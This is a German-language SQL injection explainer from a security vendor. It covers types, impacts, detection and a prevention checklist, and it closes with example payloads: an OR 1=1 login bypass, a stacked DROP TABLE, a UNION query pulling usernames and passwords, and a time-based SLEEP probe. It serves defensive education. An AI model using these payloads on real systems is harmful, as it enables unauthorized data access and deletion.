Ein Leader im Gartner® Magic Quadrant™
Header Navigation - DE
Background image for Was ist eine SQL-Injection? Beispiele und Prävention
Cybersecurity 101/Cybersecurity/SQL-Einschleusung

Was ist eine SQL-Injection? Beispiele und Prävention

Dieser umfassende Leitfaden erklärt, was SQL-Injection ist, wie sie funktioniert und welche potenziellen Auswirkungen sie auf Ihre Systeme hat. Erfahren Sie mehr über verschiedene Arten von SQL-Injections und Präventionsstrategien für Unternehmen.

Autor: SentinelOne

Unter den verschiedenen Schwachstellen, die in Webanwendungen existieren, gilt die SQL-Injection als eine der gefährlichsten, da sie es einem Angreifer ermöglichen kann, mit nur wenigen Zeilen böswillig geschriebenem Code unbefugten Zugriff auf wertvolle Daten zu erlangen. Dies kann zum Verlust von Kundeninformationen, Finanzdaten und geschützten Daten führen, was schwerwiegende Folgen haben kann: Datenlecks, finanzielle Verluste und Betriebsstörungen. Übrigens machte SQL-Injection im Jahr 2023 weltweit etwa 23 % der größten Schwachstellen in Webanwendungen aus, was die Branchen sehr anfällig macht.

Das Risiko einer SQL-Injection für ein Unternehmen kann nicht hoch genug eingeschätzt werden. Da Unternehmen für wichtige Funktionen zunehmend auf Webanwendungen angewiesen sind, wird der Schutz der Datenbank vor SQLi-Angriffen immer dringlicher. Mögliche Folgen eines solchen Angriffs sind finanzielle Verluste, Gerichtsverfahren, Bußgelder und langfristige Reputationsverluste. Ein robuster Schutz vor SQL-Injection bedeutet die Gewährleistung der Kontinuität der Betriebssicherheit und der Geschäftsintegrität.

In diesem Artikel erklären wir, was SQL-Injection ist, wie sie funktioniert, welche potenziellen Auswirkungen sie hat, welche verschiedenen Arten von SQL-Injection es gibt und vor allem, wie man SQL-Injection-Angriffe verhindern kann. Am Ende dieses Leitfadens werden Sie ein umfassendes Verständnis davon haben, wie SQL-Injection funktioniert, wie Hacker diese Schwachstellen ausnutzen und wie Unternehmen ihre Webanwendungen und Datenbanken schützen können.

SQL Injection - Featured Image | SentinelOneWas ist SQL-Injection (SQLi)?

SQL-Injection (SQLi) ist eine Sicherheitslücke, die es Angreifern ermöglicht, bösartigen SQL-Code in die Eingabefelder einer Webanwendung einzuschleusen, wodurch die Datenbank manipuliert werden kann. Dies tritt in der Regel auf, wenn Eingaben von Benutzern nicht ordnungsgemäß bereinigt werden und somit schädliche Befehle ausgeführt werden können. Anstatt beispielsweise authentische Daten abzurufen, kann ein Angreifer SQL-Befehle in das Anmeldefeld eingeben und so das Netzwerk kompromittieren.

SQL-Injection-Schwachstellen treten häufig in Webanwendungen auf, in denen SQL-Abfragen dynamisch auf der Grundlage von Benutzereingaben generiert werden. Wenn eine Anwendung jedoch unvorsichtigerweise auf diese Eingaben vertraut, kann ein Angreifer nach Belieben SQL-Anweisungen ausführen, um Daten abzurufen oder Änderungen an der Datenbank vorzunehmen. Infolgedessen können die Angreifer persönliche Daten in die Hände bekommen, Einträge ändern oder die Datenbank vollständig löschen, was rücksichtslosEines der alarmierendsten Merkmale von SQL-Injektionen ist die Tatsache, dass sie nach wie vor weit verbreitet sind, obwohl diese Art von Sicherheitslücke bereits seit geraumer Zeit bekannt ist. Laut dem Bericht "State of the Internetamp;#8221; aus dem Jahr 2020 machen SQLi fast 80 % aller Angriffe auf Webanwendungen im Einzelhandel, in der Reisebranche und im Gastgewerbe von 2018 bis 2020 aus. Darüber hinaus sind Webanwendungen, die Benutzereingaben über ein Anmeldeformular, ein Suchfeld oder direkt über URLs zulassen, am anfälligsten für SQLi-Angriffe. Da SQL weit verbreitet ist, zeigt dies eine große Angriffsfläche aufzeigt. Daher sollten Unternehmen besonders darauf achten, diese Schwachstellen zu sichern.

Wichtige Merkmale von SQL-Injection:

  • Ausnutzung von Benutzereingaben: Die Angreifer injizieren bösartigen SQL-Code in Anwendungen, die Benutzereingaben nicht ordnungsgemäß bereinigen oder validieren.
  • Datenbankmanipulation: Nach einer erfolgreichen SQL-Injection manipulieren die Angreifer die Datenbanken, indem sie sensible Daten wie Kundendaten oder sogar Finanzinformationen ändern, löschen oder abrufen.
  • Multi-Vektor: SQLi kann an einer oder mehreren Stellen der Webanwendung auftreten, z. B. auf Anmeldeseiten, in Suchleisten oder sogar in URL-Parametern, wodurch Hacker mehrere Vektoren zur Verfügung stehen, über die sie das System erfolgreich kompromittieren können.
  • Zugriff auf sensible Daten: Nach dem unbefugten Zugriff extrahiert ein Angreifer kritische Informationen, die wichtige Daten eines Unternehmens oder private Informationen seiner Kunden offenlegen können.
  • Allgegenwärtig und hartnäckig: SQL-Injection ist nach wie vor in den meisten Branchen weit verbreitet, mit Ausnahme derjenigen, die mit vielen Datentransaktionen zu tun haben. Ohne Sicherheitsmaßnahmen besteht eine hohe Wahrscheinlichkeit, dass Unternehmen schwere finanzielle Verluste erleiden, ihr Ruf geschädigt wird und sie möglicherweise mit Rechtsstreitigkeiten konfrontiert werden.

Welche Auswirkungen hat ein erfolgreicher SQL-Injection-Angriff?

Jedes Unternehmen kann bestätigen, dass die Folgen eines erfolgreichen Angriffs mit SQL-Injection katastrophal sind. Neben vielen anderen möglichen Folgen kann es zu Diebstahl sensibler Daten, Betriebsstörungen, Rufschädigung und sogar rechtlichen Schritten kommen, wenn ein Angreifer sich mithilfe einer SQL-Injection unbefugten Zugriff auf eine Datenbank verschafft. Schauen wir uns das genauer an:

  1. Datendiebstahl: Zu den unmittelbaren Gefahren eines SQL-Injection-Angriffs gehört der Datendiebstahl. Das heißt, es besteht die Möglichkeit, dass ein Angreifer personenbezogene Daten, Listen mit Benutzernamen, Passwörtern, Finanzdaten und mehr abgreift. Gestohlene Daten können im Dark Web verkauft oder für Identitätsdiebstahl und Betrug verwendet werden. Für Unternehmen führen Datenverstöße oft zu enormen finanziellen Verlusten und Rechtsstreitigkeiten.
  2. Datenverlust: Neben dem Datendiebstahl können die Angreifer wichtige Informationen aus der Datenbank entfernen. Dazu gehören das Löschen von Kundeninformationen, Finanzdaten und internen Dokumenten. Ein solcher Verlust bringt die Geschäftsaktivitäten immer durcheinander und kann zu Ausfallzeiten führen. SQL-Injection-Angriffe sind ziemlich teuer und zeitaufwändig zu beheben, wenn keine ordnungsgemäßen Backups erstellt wurden.
  3. Reputationsschaden: Im schlimmsten Fall verlieren Kunden sofort das Vertrauen, wenn sie erfahren, dass eine SQL-Injection-Sicherheitsverletzung aufgedeckt wurde, die auch Informationen über sie betrifft. Kunden würden dann die Plattform verlassen oder verklagen und den Markennamen in den Augen des Marktes ruinieren. Wenn Kunden jegliches Vertrauen in ein Unternehmen verlieren, kann es viele Jahre dauern, bis dessen Ruf auf dem Markt wiederhergestellt ist.
  4. Behördliche Geldstrafen: Wenn ein SQL-Injection-Angriff zum Verlust sensibler Daten führt, können Unternehmen, die strengen Datenschutzbestimmungen wie der DSGVO, HIPAA oder PCI DSS, mit hohen Geldstrafen belegt werden. Darüber hinaus kann es weitere Aufsichtsbehörden geben, die stets strenge Strafen verhängen, wodurch sich die Kosten der Sicherheitsverletzung weiter erhöhen. Darüber hinaus können Unternehmen auch gezwungen sein, alle betroffenen Kunden über die Situation zu informieren, was wiederum zu einem noch größeren Reputationsschaden führen kann.
  5. Systemübernahme: In einigen extremen Fällen können SQL-Injektionen Angreifern die administrative Kontrolle über das gesamte System oder dessen Besitz ermöglichen. Die Angreifer können auch die vollständige Kontrolle über das System übernehmen, wodurch sie die Datenbank, die Anwendung und sogar andere verbundene Systeme manipulieren können. Solche Übernahmen sind katastrophal, da das System von Grund auf neu aufgebaut werden muss, um es wieder funktionsfähig zu machen.

Wie funktioniert ein SQL-Injection-Angriff?

Das Verständnis der Funktionsweise von SQL-Injection kann Entwicklern und Unternehmen helfen, eine der wichtigsten Fragen zu beantworten: Wie kann man SQL-Injection vermeiden und ihre Systeme schützen? Die Manipulation von unzureichend validierten Benutzereingaben, die in SQL-Abfragen eingebettet sind, die mit der Datenbank interagieren, ist das Herzstück eines SQL-Injection-Angriffs. So funktioniert es:

  1. Zielidentifizierung: Während eines Angriffs identifizieren die Angreifer ein potenzielles Ziel, bei dem es sich um eine Webanwendung handeln kann, die mit einer Backend-Datenbank kommuniziert. Der Angreifer sucht nach Eingabefeldern, URLs oder Formularen, über die Daten an den Server gesendet werden. Häufige Ziele sind Anmeldeseiten, Suchleisten und Kontaktformulare, in denen Benutzereingaben ohne vorherige Bereinigung gesendet werden.
  2. Einschleusen von bösartigem Code: Sobald eine Schwachstelle identifiziert wurde, injizieren Angreifer bösartigen SQL-Code in das Eingabefeld. Etwas so Einfaches wie das Hinzufügen von "OR 1 = 1" zu einem Anmeldeformular kann die Authentifizierung umgehen, indem die Anwendung dazu gebracht wird, dies als gültige Abfrage zu akzeptieren, wodurch die Ausführung der SQL-Abfrage durch die Datenbank manipuliert wird.
  3. Ausführung von bösartigem Code: Wenn die Eingaben des Benutzers von der Anwendung nicht bereinigt oder validiert werden, wird der SQL-Code eines Angreifers zusammen mit der gültigen Abfrage von der Datenbank ausgeführt. Dies ist eine der Möglichkeiten, mit denen Angreifer Sicherheitskontrollen umgehen und in den meisten Fällen direkten Zugriff auf sensible Informationen erhalten und möglicherweise weitere Änderungen an Datensätzen in der Datenbank vornehmen können.
  4. Datennutzung: Nachdem der Angreifer den bösartigen SQL-Code injiziert und ausgeführt hat, kann er die Datenbank auf verschiedene Weise ausnutzen: Er kann sensible Daten stehlen, die Datenbank durch Einfügen und Löschen von Datensätzen manipulieren und manchmal auch seine Berechtigungen erweitern, wodurch er die Kontrolle über das gesamte System erlangen kann.

Arten von SQL-Injection

SQL-Injection-Angriffe können sich hinsichtlich der Art und Weise unterscheiden, wie der bösartige Code injiziert wird und wie die zu extrahierenden Informationen tatsächlich extrahiert werden. Im Folgenden werden die vier Hauptarten von SQL-Injection-Angriffen aufgeführt, die unterschiedliche Methoden zur Erkennung und Abwehr erfordern:.

  1. In-Band-SQL-Injection: Bei dieser Art von SQL-Injection-Angriff injiziert der Angreifer bösartige SQL-Befehle und kann die Ergebnisse über denselben Kommunikationskanal anzeigen. Beispiel: Ein Angreifer gibt SQL-Code in ein Suchfeld ein und sieht die Ergebnisse sofort auf der Webseite. Diese Art der Injektion ist für Hacker sicherlich die einfachste, da sie sofortiges Feedback liefert.
  2. Blinde SQL-Injection: Bei einer blinden SQL-Injection erhält der Angreifer kein sofortiges Feedback von der Datenbank. Stattdessen leitet er Informationen aus der Antwort oder dem Verhalten der Anwendung ab. Beispielsweise könnte ein Angreifer bedingte Anweisungen verwenden, um anhand der Antwort der Anwendung festzustellen, ob bestimmte Daten in der Datenbank vorhanden sind, auch ohne direkten Zugriff auf die Datenbankausgabe.
  3. Out-of-Band-SQL-Injection: Bei einer Out-of-Band-SQL-Injection nutzt der Angreifer einen Remote-Server, um die Ergebnisse der böswilligen Abfrage zu sammeln. Tatsächlich würde der Angreifer einen anderen Kanal einrichten – beispielsweise HTTP oder DNS –, um Daten aus dem kompromittierten System zu exfiltrieren, anstatt eine sofortige Antwort in Betracht zu ziehen. Diese Methode ist weniger verbreitet und in der Regel schwieriger auszuführen, aber sehr heimlich.
  4. SQL-Injection zweiter Ordnung: Diese Art von Angriff tritt auf, wenn der bösartige Code injiziert und in der Datenbank gespeichert wird, um zu einem späteren Zeitpunkt ausgeführt zu werden. Der Code bleibt inaktiv, bis er durch ein anderes Ereignis ausgelöst wird, bei dem es sich um eine administrative Aktion handeln kann. SQL-Injections zweiter Ordnung sind viel schwieriger zu erkennen, da der Angriff erst lange nach der ursprünglichen Code-Injektion stattfindet; oft ist es auch schwierig, die ursprüngliche Quelle zurückzuverfolgen.

Wie nutzen Hacker SQL-Injection-Schwachstellen aus?

Hacker suchen systematisch nach Schwachstellen, die durch SQL-Injection ausgenutzt werden können, und nutzen diese. Wenn Unternehmen ihre wichtigsten Methoden verstehen, können sie wirksamere Maßnahmen zu ihrer Abwehr ergreifen. So nutzen Hacker ausnutzen SQLi-Schwachstellen:

  1. Scannen nach Schwachstellen: Angreifer beginnen in der Regel damit, eine Webanwendung nach Schwachstellen zu scannen. Tools automatisieren diesen Prozess, um Schwachstellen zu finden, die möglicherweise Felder enthalten, die nicht bereinigte Eingaben akzeptieren. Dieser Schritt hilft dem Hacker, potenzielle Angriffspunkte zu identifizieren.
  2. Erstellen bösartiger Abfragen: Sobald Hacker ein schwaches Eingabefeld gefunden haben, erstellen sie bösartige SQL-Abfragen, die darauf abzielen, die Schwachstelle auszunutzen. Die Abfrage wird so gestaltet, dass sie eine Datenbank dazu manipulieren kann, Befehle auszuführen, die vom Entwickler nicht vorgesehen sind, und dem Hacker das Abrufen, Ändern oder Löschen von Daten zu ermöglichen.
  3. Ausführen von SQL-Code: Sobald die Abfrage erstellt ist, senden die Angreifer diese Abfrage über die in der Anwendung verfügbaren Eingabefelder. Falls die Anwendung solche Eingaben nicht ordnungsgemäß validiert, führt die Datenbank den bösartigen Code aus. Dadurch erhält der Angreifer unberechtigten Zugriff auf sensible Daten oder administrative Kontrollen.
  4. Privilegieneskalation: Nach einer erfolgreichen SQL-Injection versuchen einige Angreifer, ihre Privilegien zu erweitern. Durch Manipulation der Datenbank können sie sich Administratorrechte verschaffen, die ihnen nicht nur die Kontrolle über die Datenbank selbst, sondern sogar über das gesamte System ermöglichen. Sie können Malware installieren, um Zugriff auf andere interne Systeme zu erhalten und noch größeren Schaden anzurichten.

Wirksame Techniken zur Verhinderung von SQL-Injection-Angriffen

Lassen Sie uns nun diskutieren, wie wir SQL-Injection-Angriffe verhindern können. Die Prävention von SQL-Injection-Angriffen erfordert einen proaktiven Ansatz zur Aufrechterhaltung der Sicherheit Ihrer Webanwendungen. Die Wahrscheinlichkeit eines Angriffs kann durch die Implementierung der folgenden Techniken erheblich verringert werden:

  1. Vorbereitete Anweisungen und parametrisierte Abfragen: Der wahrscheinlich beste Weg, um SQL-Injection-Angriffe zu vermeiden, ist die Verwendung vorbereiteter Anweisungen und parametrisierter Abfragen. In diesem Fall wird der SQL-Code im Voraus definiert, und die von Benutzern bereitgestellten Daten müssen nur als Daten und niemals als ausführbarer Code behandelt werden. Auf diese Weise kann selbst bei böswilligen Eingaben die Struktur des SQL-Befehls nicht beeinträchtigt werden.
  2. Eingabevalidierung: Die Eingabevalidierung stellt sicher, dass die von Benutzern eingegebenen Daten dem erwarteten Format entsprechen. Durch die Festlegung strenger Regeln für die Art der Daten, die eingegeben werden dürfen (z. B. nur Zahlen in einem Preisfeld), können Sie verhindern, dass potenziell schädliche Eingaben in Ihre Datenbank gelangen. Die Eingabevalidierung ist eine wichtige Sicherheitsebene zur Verhinderung von SQL-Injektionen.
  3. Web Application Firewall oder WAF: Einfach ausgedrückt fungiert die WAF als Barriere zwischen Ihrer Anwendung und dem Internet und filtert bösartigen Datenverkehr heraus. Mithilfe von maschinellem Lernen sind moderne WAFs in der Lage, ungewöhnliche Muster wie Versuche von SQL-Injektionen zu erkennen und zu blockieren, bevor sie Ihre Anwendung erreichen.
  4. Datenbereinigung: Datenbereinigung bezieht sich auf die Bereinigung der Eingabedaten durch Entfernen oder Escapen von Sonderzeichen wie Anführungszeichen und Semikolons, die SQL-Befehle auslösen können. Wenn alle Benutzereingaben korrekt bereinigt sind, wird die Möglichkeit ausgeschlossen, dass ein Angreifer Sonderzeichen verwendet, um böswillige SQL-Abfragen auszuführen.
  5. Prinzip der geringsten Privilegien: Das Prinzip der geringsten Privilegien beschränkt die Zugriffsebenen für Benutzer auf das Notwendige. Aus diesem Grund wird die Erfolgsquote von SQL-Injection-Angriffen minimal. Ein Beispiel hierfür wäre, dass ein Benutzer, der Leserechte für die Datenbank benötigt, keine Berechtigungen haben sollte, die es ihm ermöglichen, Datensätze in der Datenbank zu löschen oder zu ändern.

Wie lassen sich SQL-Injection-Schwachstellen erkennen?

Die proaktive Erkennung von SQL-Injection-Schwachstellen schützt Ihr System. Unternehmen können einige der folgenden Methoden anwenden, um Schwachstellen in ihren Webanwendungen zu finden:

  1. Automatisierte Scanner: Die automatisierten Scan-Tools tun so, als würden sie bösartigen SQL-Code in Eingabefelder injizieren, wie bei SQL-Injection-Angriffen, und analysieren dann die Antwort der Anwendung. Sie sind sehr effektiv, um große Anwendungen schnell zu scannen und Schwachstellen zu melden. Einige der beliebtesten automatisierten Scan-Tools sind Burp Suite, SQLMap, Acunetix und OWASP ZAP, mit denen sich häufige Schwachstellen wie SQL-Injection effektiv identifizieren lassen. Die Einschränkung des automatisierten Scannens besteht darin, dass es zwar ein guter erster Schritt zur Erkennung von Sicherheitsproblemen ist, aber mehrere Mängel aufweist. Komplexe Schwachstellen, die auf Logik basieren, werden im Allgemeinen übersehen, und es kommt häufig zu Fehlalarmen, die zu unnötigen Korrekturmaßnahmen führen. Automatisierte Scans müssen daher durch andere Maßnahmen ergänzt werden.
  2. Manuelle Codeüberprüfungen: Während automatisierte Scanner eine hohe Geschwindigkeit bieten, bieten manuelle Codeüberprüfungen eine größere Tiefe. Sicherheitsexperten können den Code überprüfen, um Sicherheitslücken aufzudecken, die von automatisierten Testtools möglicherweise nicht erkannt werden, sei es komplexe Logikfehler oder kontextspezifische Schwachstellen. Mit einer gründlichen manuellen Überprüfung lassen sich potenzielle Angriffsvektoren aufdecken, die mit automatisierten Tools nur sehr schwer zu erkennen sind, beispielsweise die unsachgemäße Verwendung von Benutzereingaben in der Anwendung. All dies sind jedoch ressourcen- und zeitaufwändige Aktivitäten. Daher sollten Sie manuelle Überprüfungen in automatisierte Scan-Tools integrieren, anstatt diese zu ersetzen.
  3. Penetrationstests: Diese Form der Sicherheitsprüfung erfordert die Beauftragung professioneller Hacker, die reale SQL-Injection-Angriffe auf ein Live-System simulieren. Dieser Ansatz bietet einen realistischen, detaillierten Einblick in die Widerstandsfähigkeit Ihrer Webanwendung gegenüber gezielten Angriffen. Dazu gehören insbesondere Penetrationstests, die Probleme aufdecken, die automatisierte Tools und manuelle Überprüfungen übersehen können, da sie eine tatsächliche gegnerische Sichtweise darauf bieten, wie Schwachstellen ausgenutzt werden können. Diese Methode ist zwar sehr effektiv, aber auch teurer als andere Maßnahmen und erfordert spezielle Fähigkeiten. Penetrationstests eignen sich daher eher für gezielte Sicherheitsbewertungen als für die kontinuierliche Überwachung der Systemsicherheit.
  4. Schwachstellenbewertungen: Die Durchführung regelmäßiger Schwachstellenbewertungen ist äußerst wichtig, um Sicherheitslücken zu finden, die in einer Webanwendung auftreten können, darunter auch SQL-Injections. Andererseits umfassen Schwachstellenbewertungen gründlichere Überprüfungen als automatisierte Scans, z. B. Überprüfungen der Datenbankkonfiguration, Eingabevalidierungspraktiken und Benutzerberechtigungen. Grundsätzlich werden Bewertungen nach einem Zeitplan durchgeführt, damit neu auftretende Schwachstellen im Zuge der Weiterentwicklung der Codebasen oder bei zunehmender Komplexität der Anwendungen aufgedeckt werden können. Die regelmäßige Durchführung von Schwachstellenbewertungen bietet einem Unternehmen die Möglichkeit, sich über neu auftretende Bedrohungen und/oder Angriffsvektoren auf dem Laufenden zu halten.
  5. Bedrohungsanalyse: Bei der Bedrohungsanalyse wird ermittelt, wie potenzielle Angreifer SQL-Injection-Schwachstellen im System ausnutzen könnten. Die Bedrohungsmodellierung bei F5 hilft Sicherheitsteams dabei, die wahrscheinlichsten Angriffsvektoren zu identifizieren, abhängig von der Architektur der Anwendung, dem Speicherort sensibler Daten und der Art der Benutzerinteraktion mit dem System. Bei dieser Art der Analyse werden Schwachstellen nach ihrer potenziellen Auswirkung und der Wahrscheinlichkeit ihrer Ausnutzung priorisiert, um sie zu beheben. Die Bedrohungsanalyse kann auch zur Identifizierung von Einstiegspunkten für SQL-Injection verwendet werden, sodass Teams eine Vorstellung davon bekommen, wo sie ansetzen sollten.
  6. Verfolgung von Verhaltensmustern der Benutzer: Die Überwachung des Benutzerverhaltens ist eine ziemlich fortschrittliche Form der Sicherheit, mit der Anzeichen für einen laufenden SQL-Injection-Angriff erkannt werden können. Diese Form der Sicherheit bietet Unternehmen die Möglichkeit, Benutzeraktivitäten auf Abweichungen von den üblichen Aktivitätsmustern zu überwachen. So kann das Unternehmen beispielsweise erkennen, wenn legitime umstrittene Benutzerkonten sensible Abfragen durchführen oder sensible Bereiche der Datenbank bearbeiten. Solche Anomalien können auf eine Kompromittierung des Kontos oder erfolgreiche SQL-Injection-Exploits hindeuten. Tools für die Benutzerverhaltensanalyse (UBA) können diese Anomalien in Echtzeit melden, sodass sofort eingegriffen werden kann, bevor größerer Schaden entsteht. Die Verhaltensüberwachung bildet eine Sicherheitsebene, die die traditionellen Methoden zur Erkennung von Schwachstellen ergänzt.

Checkliste zur Verhinderung von SQL-Injection-Angriffen (Best Practices)

SQL-Injection-Angriffe können nur durch einen proaktiven Sicherheitsansatz mit mehreren Ebenen verhindert werden. Hier finden Sie eine detaillierte Checkliste mit bewährten Verfahren, die Ihnen helfen können, Ihre Webanwendungen und Datenbanken vor diesen gefährlichen Angriffen zu schützen:

Nr. 1: Verwenden Sie vorbereitete Anweisungen und parametrisierte Abfragen

Was ist das? Vorbereitete Anweisungen trennen den SQL-Code von Benutzereingaben, sodass die Datenbank alle Eingaben ausschließlich als Daten und niemals als ausführbare Befehle interpretiert. Auf diese Weise werden SQL-Injection-Versuche wirksam eingeschränkt.

Warum ist das wichtig? Vorbereitete Anweisungen schützen Benutzereingaben, indem sie niemals injizierte SQL-Befehle vom Benutzer zulassen.

Zu ergreifende Maßnahmen: Verknüpfen Sie Benutzereingaben niemals direkt mit SQL-Abfragen. Andererseits sollte der Anwendungscode beim Schreiben in Java, .NET oder anderen Sprachen parametrisierte Abfragen verwenden.

#2. Bereinigen und validieren Sie alle Benutzereingaben

Was ist das? Die Bereinigung und Validierung von Eingaben sind Methoden zum Testen von benutzerdefinierten Daten, um sicherzustellen, dass sie das richtige Format haben, und um möglicherweise schädliche Zeichen zu entfernen.

Warum ist das wichtig? Angreifer injizieren häufig bösartige SQL-Befehle, indem sie nicht bereinigte Eingaben ausnutzen. Eine gute Eingabevalidierung reduziert dieses Risiko erheblich.

Zu ergreifende Maßnahmen: Die INPUT-Validierung wird für alle Eingabefelder, einschließlich Anmeldeformularen und URLs, zwingend implementiert. Dazu gehören die Überprüfung von Datentypen und Formaten sowie die Escape-Funktion für Sonderzeichen, die potenziellen Schaden verursachen können.

#3. Zugriff mit geringsten Rechten:

Was ist das? Der Zugriff mit geringsten Rechten erlaubt nur diejenigen Rechte, die für die Erfüllung von Aufgaben oder Funktionen unbedingt erforderlich sind. Dadurch wird der Schaden, den eine Sicherheitsverletzung verursachen kann, weiter reduziert.

Wie hilft das? Durch die Reduzierung der Datenbankberechtigungen kann sichergestellt werden, dass ein Angreifer, selbst wenn er SQLi ausführen kann, keine Informationen außerhalb seiner festgelegten Grenzen einsehen oder ändern kann.

Zu ergreifende Maßnahmen: Die Berechtigungen in der Datenbank müssen regelmäßig überprüft werden, um sicherzustellen, dass nur minimale Berechtigungen erteilt werden. Der Administratorzugriff sollte auf diejenigen Benutzer beschränkt werden, die ihn benötigen.

#4. WAF: Web Application Firewall

Was ist das? Eine Web Application Firewall ist ein Gerät, das HTTP-Anfragen bereinigt und überwacht. Es verhindert, dass bösartiger Datenverkehr, wie z. B. SQL-Injection-Versuche, jemals Ihre Anwendung erreicht.

Was ist der Vorteil? WAFs bieten eine zusätzliche Verteidigungsebene, indem sie den eingehenden Datenverkehr auf bekannte SQL-Injection-Angriffsmuster überprüfen und diese in Echtzeit blockieren.

Zu ergreifende Maßnahmen: Setzen Sie eine WAF ein, die SQLi-Versuche blockieren kann. Konfigurieren Sie die WAF so, dass sie bekannte SQL-Injection-Techniken und anomales Datenverkehrverhalten erkennt.

#5. Führen Sie regelmäßige Sicherheitsaudits durch

Was ist das? Ein Sicherheitsaudit bedeutet, eine Anwendung anhand gängiger Sicherheitspraktiken, Codes und Konfigurationen zu testen, um potenzielle Schwachstellen zu erkennen.

Warum ist das wichtig? Durch regelmäßige Audits wird sichergestellt, dass neu aufgetretene Schwachstellen behoben werden, bevor Angreifer die Möglichkeit haben, sie auszunutzen.

Zu ergreifende Maßnahmen: Planen Sie automatisierte Scans und häufige manuelle Überprüfungen ein. Beziehen Sie SAST, DAST und andere Tools für Penetrationstests in die Audits ein.

#6. Führen Sie Bedrohungsmodellierungen und Schwachstellenbewertungen durch

Was ist das? Bedrohungsmodellierung bedeutet, die Vorgehensweise eines Angreifers nachzuahmen, um mögliche Angriffsvektoren zu identifizieren, während Schwachstellenbewertung die aktive Suche nach Sicherheitslücken bedeutet, die in den Fokus gerückt und behoben werden.

Wie hilft das? Die Bedrohungsmodellierung hilft Ihnen dabei, die kritischsten Schwachstellen zu priorisieren, damit Sie proaktive Maßnahmen zu deren Behebung ergreifen können.

Zu ergreifende Maßnahmen: Beziehen Sie die Bedrohungsmodellierung in Ihren Entwicklungslebenszyklus ein. Sie müssen regelmäßig Schwachstellenanalysen durchführen, um Bedrohungen rechtzeitig zu erkennen und wirksam zu mindern, bevor sie von Angreifern ausgenutzt werden können.

#7. Erkennung von Anomalien im Benutzerverhalten

Was ist das? Tools zur Analyse des Benutzerverhaltens (User Behavior Analytics, UBA) verfolgen Benutzeraktivitäten und warnen bei Anomalien, wie z. B. Abfragen, die normalerweise niemand ausführt, um auf eine Kompromittierung oder einen versuchten SQLi hinzuweisen.

Warum sollte das Verhalten überwacht werden? Ein abnormaler Benutzer kann bei der Erkennung von SQL-Injection-Angriffen früher identifiziert werden, um weiteren Schaden zu verhindern.

Zu ergreifende Maßnahmen: Implementieren Sie UEBA-Tools, um Benutzeraktivitäten zu überwachen, verdächtiges Verhalten zu markieren und zu untersuchen, ob ein aktiver Angriff stattfindet.

#8. Abfragen begrenzen und paginieren

Was ist das? Die Begrenzung und Paginierung schränkt die Anzahl der von einer Datenbankabfrage zurückgegebenen Datensätze weiter ein und ist nützlich, um bei einer SQL-Injection die Extraktion großer Datenmengen zu verhindern.

Wie schützt Sie das? Dadurch wird verhindert, dass Angreifer, denen es gelungen ist, eine böswillige Abfrage auszuführen, Unmengen von Daten abrufen können, da die Anzahl der zurückgegebenen Zeilen begrenzt wird.

Zu ergreifende Maßnahmen: Verwenden Sie SQL-LIMIT- und OFFSET-Klauseln, um die Datenmenge zu begrenzen, die jede Abfrage zurückgibt. Durch die Begrenzung der Abfragemöglichkeiten eines Angreifers wird der potenzielle Schaden eines erfolgreichen Angriffs begrenzt.

#9. Halten Sie Ihre Software auf dem neuesten Stand und installieren Sie Patches

Was ist das? Durch regelmäßige Software-Updates werden bekannte Schwachstellen gepatcht. Dadurch wird das System weniger anfällig für Angriffe.

Warum regelmäßig aktualisieren? Viele SQLi-Schwachstellen entstehen durch nicht gepatchte Software. Wenn Sie Ihre Systeme auf dem neuesten Stand halten, schließen Sie potenzielle Angriffsvektoren.

Zu ergreifende Maßnahmen: Entwickeln Sie eine Patch-Management-Strategie, die einheitliche Updates für Webanwendungen, Bibliotheken und Datenbanksysteme auf die neuesten sicheren Versionen bereitstellt.

Beispiele für SQL-Injection

SQL-Injection ist eine der häufigsten, aber auch gefährlichsten Schwachstellen, die es einem Angreifer ermöglicht, Datenbankabfragen zu manipulieren, indem er über Benutzereingaben bösartigen SQL-Code einschleust. Es versteht sich von selbst, dass Entwickler und Sicherheitsexperten die verschiedenen Arten von SQL-Injection verstehen müssen, um eine geeignete Verteidigungsstrategie zu entwickeln. Im Folgenden finden Sie einige Beispiele für Techniken im Zusammenhang mit SQL-Injection, die jeweils unterschiedliche Methoden der Ausnutzung aufweisen.

1. Authentifizierung als Administrator

Bei einem solchen Angriff manipuliert ein Angreifer ein Formular, um Authentifizierungsprüfungen zu umgehen. Durch die Injektion von "password’ OR 1=1 wird die Abfrage zu SELECT id FROM users WHERE username=’user’ AND password=’password’ OR 1=1. Da 1=1 immer wahr ist, erhält der Angreifer Administratorzugriff und umgeht somit die Anforderung gültiger Anmeldedaten. Dieser Angriff belegt die Schwachstelle, die entsteht, wenn parametrisierte Abfragen nicht verwendet werden.

2. Zugriff auf sensible Informationen

SQL kann in eine Abfrage injiziert werden, um sensible Daten aus der Datenbank abzurufen. Ein Beispiel hierfür ist die Injektion von "Widget’ OR 1=1 in eine Produktsuchabfrage wie SELECT * FROM items WHERE owner = ‘John’ AND item name = ‘Widget’ OR 1=1 zwingt die Datenbank dazu, alle Zeilen zurückzugeben. Es ist leicht zu erkennen, dass dies die Beschränkungen für den unbefugten Zugriff auf vertrauliche Daten umgeht.

3. Gestapelte Abfragen zum Löschen

Bei einem gestapelten Abfrageangriff werden mehrere Abfragen gleichzeitig ausgeführt. Mit der Injektion von 20; DROP TABLE Products; hätte ein Angreifer beispielsweise eine Abfrage wie SELECT * FROM Products WHERE product_id = 20 in eine Abfrage umgewandelt, die die gesamte Produkttabelle löschen würde. Dies zeigt die Gefahr, die entsteht, wenn mehrere SQL-Anweisungen gleichzeitig ausgeführt werden dürfen.

4. Union-basierter Angriff

Der Angreifer kann den UNION-Operator verwenden, um mehrere Abfrageergebnisse zu kombinieren. Dazu kann ein Angreifer jede Produktabfrage wie SELECT name, price FROM products WHERE category = ‘shoes’ ändern, indem er UNION ALL SELECT username, password FROM users — hinzufügt. Diese Abfrage gibt die Benutzernamen und Passwörter zusammen mit den Produktinformationen aus.

5. Blind SQL Injection

Bei einer Blind SQL Injection haben die Angreifer keinen direkten Zugriff auf die Abfrageergebnisse, können jedoch anhand des Anwendungsverhaltens Rückschlüsse auf Informationen ziehen. Nehmen wir folgende Abfrage an: SELECT FROM users WHERE id = ‘$id’ AND IF((SELECT COUNT() FROM users)>10, SLEEP(5), 0); Wenn die Seite länger braucht, um zu antworten, zeigt dies, dass die Bedingung wahr ist. Auf diese Weise kann ein Angreifer, selbst wenn er die Ausgabe nicht sieht, Informationen über die Datenbanksätze erhalten.

6. Fehlerbasierte SQL-Injection

